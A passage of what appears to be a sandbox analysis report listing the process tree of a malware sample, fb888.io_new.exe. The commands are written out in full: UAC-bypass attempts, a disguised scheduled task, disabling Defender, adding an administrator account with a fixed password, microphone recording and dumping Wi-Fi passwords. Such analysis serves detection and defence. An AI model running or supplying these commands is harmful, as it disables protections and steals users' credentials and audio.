        34⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:18688
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3f8838d4-aede-44c2-b63d-c899fc80710c.inf
        34⤵
        
        PID:17676
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        34⤵
        
        PID:18792
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        35⤵
        
        PID:15156
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        34⤵
        
        PID:13636
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        35⤵
        
        PID:20200
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        36⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:19996
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\04cf8686-5292-48a6-aee4-977705221a0c.inf
        36⤵
        
        PID:20304
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        36⤵
        
        PID:14328
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        37⤵
        
        PID:18696
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        36⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        37⤵
        
        PID:15064
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        38⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9120
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\43ac42cb-3fbe-49ce-94ab-774603b0e9ce.inf
        38⤵
        
        PID:17584
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        38⤵
        
        PID:17092
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        39⤵
        
        PID:19776
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        38⤵
        
        PID:16628
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        39⤵
        
        PID:21272
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        40⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:20064
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ae866ff8-dbb5-4a02-8e3d-ad285bfc2bfd.inf
        40⤵
        
        PID:9176
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        40⤵
        
        PID:20928
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        41⤵
        
        PID:21000
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        40⤵
        
        PID:1904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        40⤵
        Disables one or more Microsoft Defender components
        
        PID:20612
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        40⤵
        
        PID:22040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        38⤵
        Disables one or more Microsoft Defender components
        
        PID:16632
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        38⤵
        
        PID:20988
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        39⤵
        Creates a new local user account
        
        PID:20372
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        38⤵
        
        PID:18768
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        39⤵
        
        PID:20728
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        38⤵
        
        PID:21844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        36⤵
        Disables one or more Microsoft Defender components
        
        PID:19984
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        36⤵
        
        PID:10892
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        37⤵
        
        PID:9000
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        36⤵
        
        PID:18828
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        37⤵
        
        PID:18848
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        36⤵
        
        PID:4992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        34⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8532
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        34⤵
        
        PID:19880
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        35⤵
        
        PID:4140
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        34⤵
        
        PID:13596
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        35⤵
        
        PID:11632
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        34⤵
        
        PID:19828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071531838132.wav')"
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:21608
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        34⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:21804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        32⤵
        Disables one or more Microsoft Defender components
        
        PID:19244
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        32⤵
        Creates a new local user account
        
        PID:18984
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        33⤵
        Creates a new local user account
        
        PID:11048
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        32⤵
        
        PID:11456
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        33⤵
        
        PID:11020
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        32⤵
        
        PID:20052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071413931159.wav')"
        32⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:21152
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        32⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:21160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        30⤵
        Disables one or more Microsoft Defender components
        
        PID:16852
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        30⤵
        Creates a new local user account
        
        PID:18384
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        31⤵
        
        PID:19108
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        30⤵
        
        PID:19132
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        31⤵
        
        PID:18280
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        30⤵
        
        PID:14824
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        30⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071388104607.wav')"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        28⤵
        Disables one or more Microsoft Defender components
        
        PID:14788
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        28⤵
        Creates a new local user account
        
        PID:18200
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        29⤵
        Creates a new local user account
        
        PID:18352
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        28⤵
        
        PID:16944
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        29⤵
        
        PID:3360
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        28⤵
        
        PID:19444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071250057381.wav')"
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:20096
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        28⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:20208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        26⤵
        Disables one or more Microsoft Defender components
        
        PID:17276
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        26⤵
        Creates a new local user account
        
        PID:11512
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        27⤵
        Creates a new local user account
        
        PID:12576
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        26⤵
        
        PID:16816
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        27⤵
        
        PID:14396
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        26⤵
        
        PID:17960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071196324706.wav')"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15716
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        26⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:18260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        
        PID:14364
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        24⤵
        
        PID:14004
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        25⤵
        Creates a new local user account
        
        PID:2484
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        24⤵
        
        PID:7364
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        25⤵
        
        PID:16476
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        24⤵
        
        PID:10708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071072335534.wav')"
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10784
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        24⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:18576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12980
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:16148
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:1144
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:12484
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:15656
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:13792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070977128291.wav')"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:17588
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:17672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        
        PID:14144
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        
        PID:12492
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:14804
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:15160
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:14732
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:14700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070891213037.wav')"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9656
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        
        PID:12380
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:6208
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        
        PID:12108
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:2364
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:13428
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:14668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070796649223.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16152
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10020
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:12040
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:11720
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:10424
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:12464
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:13860
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070749309902.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9440
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:592
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        
        PID:10520
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:10720
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:2864
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:12708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070648158488.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14904
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        
        PID:8572
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:7820
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:8364
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:7500
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:9772
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:7248
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070577940835.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        
        PID:7564
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        
        PID:7976
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:8160
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:7412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:8936
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070535548067.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11780
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        
        PID:1672
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:5104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        
        PID:7236
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:8156
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8712
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070473096008.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11336
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:2496
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:4756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        
        PID:6636
      - C:\Windows\SYSTEM32\net.exe
        
